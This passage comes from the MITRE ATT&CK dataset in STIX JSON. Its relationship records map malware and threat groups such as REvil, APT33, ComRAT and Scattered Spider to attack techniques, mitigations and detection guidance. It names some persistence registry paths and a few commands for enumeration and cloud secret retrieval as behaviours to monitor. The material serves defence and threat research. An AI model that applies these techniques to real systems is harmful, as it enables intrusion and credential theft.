"relationship--639bd473-be74-4ddb-bfc1-eaa2574df975", "type": "relationship", "created": "2020-08-04T15:35:30.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "G Data Sodinokibi June 2019", "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data", "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."}, {"source_name": "McAfee REvil October 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020."}, {"source_name": "Picus Sodinokibi January 2020", "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}], "modified": "2020-08-05T17:26:24.555Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has been executed via malicious MS Word e-mail attachments.(Citation: G Data Sodinokibi June 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--639e7b8d-57d7-4c1d-8f42-1496606ea666", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", "source_name": "FireEye APT33 Sept 2017"}, {"description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "source_name": "Symantec Elfin Mar 2019"}], "modified": "2019-06-28T15:05:33.081Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing emails containing links to .hta files.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--639eca67-c21e-49d6-ac62-cf5a26ac6f15", "type": "relationship", "created": "2020-02-21T20:46:36.944Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T20:46:36.944Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63a09269-0546-4613-b746-0e1f8dac7d5b", "type": "relationship", "created": "2020-08-03T15:14:17.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevx Carberp March 2011", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf", "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."}], "modified": "2020-08-03T15:14:17.942Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has queued an APC routine to explorer.exe by calling ZwQueueApcThread.(Citation: Prevx Carberp March 2011)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}, {"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}], "modified": "2020-03-30T02:30:03.881Z", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.(Citation: XAgentOSX 2017) [XAgentOSX](https://attack.mitre.org/software/S0161) contains the showBackupIosFolder function to check for IOS device backups by running <code>ls -la ~/Library/Application\\ Support/MobileSync/Backup/</code>.(Citation: XAgentOSX 2017)", "relationship_type": "uses", "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--63aca7d8-64dc-412b-a8ab-8af712fd4d82", "created": "2024-02-06T21:10:43.113Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-06T21:10:43.113Z", "description": "(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63ae56fe-04c2-41f5-a2be-c1880e67b490", "type": "relationship", "created": "2020-06-01T16:11:40.135Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:43:36.256Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has used a packed installer file.(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--63b1af38-765d-4181-add0-dbd3f31941ff", "created": "2022-08-22T15:51:47.597Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Proofpoint Bumblebee April 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has been downloaded to victim's machines from OneDrive.(Citation: Proofpoint Bumblebee April 2022)", "modified": "2022-08-22T15:51:47.597Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63b477c5-b88b-469d-8b2a-bc30507de54f", "type": "relationship", "created": "2020-07-17T15:48:51.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:03.048Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can discover active IP addresses, along with the machine name, within a targeted network.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63b6fd1d-65a7-4c94-8045-16fd198802f1", "type": "relationship", "created": "2020-08-11T21:15:35.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-11T21:15:35.488Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--63bce642-8e12-44c1-a805-e7390aef23e7", "created": "2024-03-25T19:14:01.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "SentinelOne SocGholish Infrastructure November 2022", "description": "Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.", "url": "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}, {"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.", "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"}, {"source_name": "Secureworks Gold Prelude Profile", "description": "Secureworks. (n.d.). GOLD PRELUDE . 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Retrieved November 6, 2020."}], "modified": "2020-11-09T14:52:45.824Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been delivered via malicious documents with embedded macros.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63eceedb-657b-47a0-a437-983aad5d82e0", "type": "relationship", "created": "2021-12-06T23:14:44.919Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "modified": "2021-12-06T23:14:44.919Z", "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has executed a PowerShell command to download a file to the system.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63ee7d80-372e-4841-87a4-825cb5dd7058", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.justice.gov/file/1080281/download", "description": "Mueller, R. (2018, July 13). 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Retrieved September 13, 2018.", "source_name": "DOJ GRU Indictment Jul 2018"}], "modified": "2020-03-30T01:46:20.278Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.(Citation: DOJ GRU Indictment Jul 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-16T16:36:13.663Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--63f08c72-9be6-45d5-9c60-2a4794795760", "type": "relationship", "created": "2021-09-29T15:41:18.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Andariel Ransomware June 2021", "url": "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "description": "Park, S. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T15:41:18.404Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has used <code>tasklist</code> to enumerate processes and find a specific string.(Citation: Kaspersky Andariel Ransomware June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--63f16da3-80c8-40e5-ab7d-638446f2b509", "created": "2023-09-25T12:42:31.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-30T20:21:47.814Z", "description": "Monitor for API calls and CLI commands that attempt to enumerate and fetch credential material from the secrets manager, such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. 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(2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. 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(2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022."}, {"source_name": "Trend Micro Cyclops Blink March 2022", "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}], "modified": "2022-03-17T15:07:01.050Z", "description": "(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--64175a23-67fa-4fa6-8aa6-890c9dc3d5d8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", "source_name": "US-CERT HARDRAIN March 2018"}], "modified": "2019-09-09T19:15:45.692Z", "description": "(Citation: US-CERT HARDRAIN March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6417adf9-8767-4258-9d26-6e95a43bef47", "type": "relationship", "created": "2020-10-20T03:39:09.084Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:52:07.078Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--64201f56-d678-4ed2-b759-c78bf9e4d82a", "type": "relationship", "created": "2020-02-20T17:21:04.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-06T12:32:47.837Z", "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--642039f8-984e-432d-a6a3-bc6b4469bba0", "created": "2023-02-14T18:31:45.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-13T18:57:39.603Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can identify administrator accounts on an infected machine.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--64205021-48f8-4dbb-a731-e9c921bbf7f1", "created": "2024-03-25T21:29:21.308Z", "revoked": false, "external_references": [{"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:29:21.308Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) can obtain credential information using [LaZagne](https://attack.mitre.org/software/S0349).(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--642b199c-8118-4737-990d-d9dede6dfd5e", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor executed commands and arguments that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--64309b21-2dc2-4369-9c70-66f47f5c4b56", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NorthSec 2015 GData Uroburos Tools", "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", "url": "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"}], "modified": "2020-06-29T13:26:01.388Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.(Citation: NorthSec 2015 GData Uroburos Tools)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6435a96b-f3b5-4a16-876f-901650257d36", "type": "relationship", "created": "2022-03-25T18:42:10.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Hermetic Wiper February 2022", "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Qualys Hermetic Wiper March 2022", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware", "description": "Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}], "modified": "2022-03-25T21:34:45.505Z", "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can enumerate common folders such as My Documents, Desktop, and AppData.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6435caf7-2493-4cfb-9ddc-2f672c220251", "type": "relationship", "created": "2020-05-12T21:56:33.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:28:38.270Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed a registry based start-up key <code>HKCU\\Software\\microsoft\\windows\\CurrentVersion\\Run</code> to maintain persistence should other methods fail.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--643a223a-76fa-4a34-9197-3acbc5aff205", "created": "2023-08-01T20:44:51.356Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}, {"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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Retrieved October 2, 2020."}], "modified": "2020-11-19T18:02:58.491Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has uploaded files and information from victim machines.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": 